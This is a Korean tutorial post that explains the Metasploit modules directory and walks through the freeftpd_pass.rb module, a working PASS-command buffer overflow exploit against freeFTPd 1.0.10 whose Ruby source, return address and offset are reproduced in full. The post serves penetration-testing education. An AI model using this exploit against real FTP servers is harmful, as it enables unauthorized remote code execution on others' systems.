모의해킹은 공격 대상을 선정하고, 선정한 대상에서 실행 중인 서비스의 취약점을 유발할 수 있는 공격 코드를 이용한다.
메타스플로잇 프레임워크의 루트 디렉토리로 이동하면 msfconsole 도구가 있다. 해당 도구를 실행하면 공격 대상의 취약점을 공격할 익스플로잇, 페이로드 모듈을 선택해서 공격을 진행한다.
공격 모듈은 루트 디렉토리 하위의 exploits 디렉토리에 루비 스크립트로 구현되어 있다. 이미 만들어진 코드이므로 로드해서 사용하거나 사용자가 자신의 입맛대로 변경해서 사용하면 된다.
새로운 취약점이 발견되고, 누군가 해당 취약점을 공격할 수 있는 익스플로잇 코드를 깃허브 사이트 등에 배포한다. 만약, 메타스플로잇 프레임워크에서 동작 가능한 익스플로잇 코드를 배포했다면 루트 디렉토리로 업로드하고 msfconsole 도구에서 로드해서 사용하면 된다.
하지만, 익스플로잇 코드가 배포될 때까지 기다리기만 하면 안 된다. 기존의 잘 만들어진 코드를 분석할 줄 안다면 새로운 취약점을 공격하는데 활용할 수 있다.
익스플로잇 코드 찾기
본격적인 익스플로잇 코드 분석을 하기 전 디렉토리 구조를 간단하게 살펴보자.
메타스플로잇 루트 디렉토리는 /usr/share/metasploit-framework이다. 해당 디렉토리 하위의 modules 디렉토리는 공격을 자동화하는 auxiliary 디렉토리, 백신 탐지 우회를 하는 encoders 디렉토리, 취약점을 유발할 공격 코드가 있는 exploits 디렉토리 등이 있다.
modules 디렉토리는 여러 개의 플랫폼으로 분류되고 있고, 각 플랫폼 안에 여러 개의 서비스로 분류되어 있다. 만약, 윈도우 운영체제에서 실행 중인 FTP 서비스의 취약점을 공격하고 싶다면 exploits/windows/ftp 디렉토리로 이동하면 다양한 공격 코드가 존재한다.
# ls /usr/share/metasploit-framework/modules/
auxiliary encoders exploits nops payloads post
#
# ls /usr/share/metasploit-framework/modules/exploits/
aix apple_ios dialup firefox hpux linux multi osx unix
android bsdi example.rb freebsd irix mainframe netware solaris windows
#
# ls /usr/share/metasploit-framework/modules/exploits/windows/ftp/
32bitftp_list_reply.rb ftpshell51_pwd_reply.rb sami_ftpd_user.rb
3cdaemon_ftp_user.rb ftpsynch_list_reply.rb sasser_ftpd_port.rb
aasync_list_reply.rb gekkomgr_list_reply.rb scriptftp_list.rb
freeftpd_pass.rb freeftpd_user.rb
익스플로잇 코드 분석 : exploits/windows/ftp/freeftpd_pass.rb
freeftpd_pass.rb 익스플로잇 코드는 윈도우 운영체제에서 동작한 freeftpd 프로그램의 취약점 공격 코드이다. 이 취약점은 FTP 서버가 접속하는 사용자에게 패스워드를 요구한다.
사용자는 FTP 명령어인 PASS에 버퍼오버플로우를 발생시키는 수많은 문자열을 주입시켜 서버로 보내면 이를 제대로 처리하지 못해 취약점이 발생한다.
익스플로잇 코드의 상단 부분부터 어떤 역할을 하는지 살펴보자.
Msf::Exploit::Remote : 원격 익스플로잇 클래스로 분류
NormalRanking : msfconsole 도구로 실행 시 나타나는 공격 성공률 (show info 결과와 동일)
Remote::Ftp : 원격 익스플로잇의 Ftp를 공격할 수 있는 코드를 로드
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
msfconsole 도구를 실행하고 freeftpd_pass 모듈을 선택한다. 이후 모듈의 정보를 보려고 show info 명령어를 입력하면 상단 부분에 Rank 문자열이 보이는데, 이 부분이 공격 성공률이다.
def initialize : 원격 익스플로잇 클래스로 선언되어 있는 기본 설정 함수
Name : 익스플로잇 코드를 개발한 저자가 지정한 이름 (show info 결과와 동일)
Description : 익스플로잇 코드를 개발한 저자가 지정한 취약점 설명 (show info 결과와 동일)
License : 메타스플로잇 라이센스 (show info 결과와 동일)
Author : 익스플로잇 코드를 개발한 저자 정보 (show info 결과와 동일)
References : 취약점 데이터 베이스 정보 (show info 결과와 동일)
Payload : 페이로드 옵션 정보
BadChars : 페이로드 생성 시 제외할 문자 지정, 배드 문자가 존재 시 코드가 정상적으로 실행되지 않음
Platform : 익스플로잇 코드가 동작 가능한 운영체제 (show info 결과와 동일)
Arch : 익스플로잇 코드가 동작 가능한 아키텍처 (show info 결과와 동일)
Targets : 익스플로잇 코드가 실행 가능한 대상 (show info 결과와 동일)
Ret : 복귀 주소, 메모리 주소로 이동
Offset : 지정한 메모리 주소로 이동하여 주입시킬 의미 없는 데이터, 800개까지 의미없는 데이터로 채워짐
register_options : 이미 설정된 옵션, anonymous가 설정되어 있음
def initialize(info={})
super(update_info(info,
'Name' => "freeFTPd PASS Command Buffer Overflow",
'Description' => %q{
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
user-supplied input is not properly validated when handling a specially crafted
PASS command. This may allow a remote attacker to cause a buffer overflow,
resulting in a denial of service or allow the execution of arbitrary code.
freeFTPd must have an account set to authorization anonymous user account.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Wireghoul', # Initial discovery, PoC
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
],
'References' =>
[
['OSVDB', '96517'],
['EDB', '27747'],
['BID', '61905']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['freeFTPd 1.0.10 and below on Windows Desktop Version',
{
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
'Offset' => 801,
}
],
],
'Privileged' => false,
'DisclosureDate' => "Aug 20 2013",
'DefaultTarget' => 0))
register_options([
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),
])
# We're triggering the bug via the PASS command, no point to have pass as configurable
# option.
deregister_options('FTPPASS')
end
check : 익스플로잇 코드를 실행할 수 있는 대상인지 확인하는 용도
banner : 배너 정보 체크
def check
connect
disconnect
# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
# when banner grabbing.
if banner =~ /freeFTPd 1\.0/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
exploit : 공격 대상 시스템에서 실제로 동작 가능한 익스플로잇 코드로 구성
connect : 공격 대상 시스템에 연결
payload.encoded : 배드 문자를 제외하고 페이로드 생성
raw_send : 생성한 페이로드를 대상 시스템의 FTP PASS 명령어로 전달
disconnect : 공격 대상 시스템 연결 해제
def exploit
connect
print_status("Trying target #{target.name} with user #{user()}...")
off = target['Offset'] - 9
bof = payload.encoded
bof << rand_text(off - payload.encoded.length)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
bof << rand_text(2)
bof << [target.ret].pack('V')
send_user(datastore['FTPUSER'])
raw_send("PASS #{bof}\r\n")
disconnect
end
익스플로잇 코드 실행 : 와이어샤크 분석
msfconsole 도구에서 대상 시스템을 공격하면 익스플로잇 코드가 동작 가능한 시스템인지 판단한다.
만약, 취약점이 발견된 시스템을 사용하고 있으면 익스플로잇 코드를 대상 시스템에 전달하고 실행이 완료되면 최종적으로 미터프리터 쉘을 획득한다.
공격 수행 중 대상 시스템에서 와이어샤크로 패킷을 캡처한 결과를 보면 공격자(메타스플로잇)가 anonymous 계정으로 접속하면 FTP 서버는 패스워드를 요구하는 문자열을 전달한다. 이후 공격자는 FTP PASS에 오버플로우를 발생시키는 문자열을 주입시켜 전달한다.
패킷의 헥사 데이터를 보면 하단의 0x004014bb은 익스플로잇 코드 분석 시 RET에서 확인한 데이터와 동일하다.
▶ Metasploit msfconsole 사용법 및 활용
▶ Metasploit meterpreter 기능 및 사용법
▶ Metasploit(msfvenom) 쉘코드 디코딩
▶ Metasploit msfvenom 기능 및 사용법